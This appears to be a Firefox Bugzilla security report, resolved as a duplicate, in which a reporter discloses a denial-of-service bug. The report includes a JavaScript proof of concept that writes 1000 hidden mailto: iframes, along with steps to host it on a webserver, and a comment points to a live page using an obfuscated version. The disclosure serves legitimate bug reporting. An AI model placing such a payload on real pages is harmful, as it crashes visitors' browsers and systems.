607344 - The browser and the windows crashed when you open the website.

Status: RESOLVED DUPLICATE of bug 566893

(Firefox :: Security, defect)

Description

[Hézső Bence]

User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.11) Gecko/20101012 Firefox/3.1.2
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.11) Gecko/20101012 Firefox/3.1.2

Just analyse the next script:
<script type="text/javascript">
var i=0
for (i=0;i<=999;i++)
{
document.write("<iframe width=0px height=0px frameborder=0 border=0 src='mailto:[e-mail]?body=I love you budy. Thanks for virus too. Will format my pc, and pay a much money. Bye.'></iframe>");
}
</script>

Reproducible: Always

Steps to Reproduce:
1.Go to Notepad -> Create a new file.
2.Copy this to the file:
<script type="text/javascript">
var i=0
for (i=0;i<=999;i++)
{
document.write("<iframe width=0px height=0px frameborder=0 border=0 src='mailto:[e-mail]?body=I love you budy. Thanks for virus too. Will format my pc, and pay a much money. Bye.'></iframe>");
}
</script>
3.Save as php.
4.Upload to a webserver and see it from the browser.
5.Your mozilla will crashed and the Outlook will started 1000 times.
6.Your windows crashed so you should restart your computer.
Actual Results:  
You can see the Mozilla Firefox doesn't limit the mailto: variable.

Expected Results:  
Repair this bug. And check the skype: msn: and other variable.

I test it on Windows Vista/XP/7 with Mozilla Firefox latest version.

Comment 1

[Johnny Stenback (:jst)]

We need to not do anything for <iframe src=mailto:...>. Brandon, want to take this one?

Comment 2

[Boris Zbarsky [:bzbarsky]]

We have existing bugs on that, no?

Comment 3

[Hézső Bence]

I search but I haven't found this vulnerable in bugzilla but maybe I looked away.

If the reproducing not work just view the source.
view-source:http://sys0p.net/admin/

I use unescape on the website.

Thanks,
B

Comment 4

[Brandon Sterne (:bsterne)]

(In reply to comment #2)
> We have existing bugs on that, no?

Yes, bug 566893.  In fact this bug is probably a DUP of that bug, unless the mailto: src for the iframe isn't necessary to cause the crash.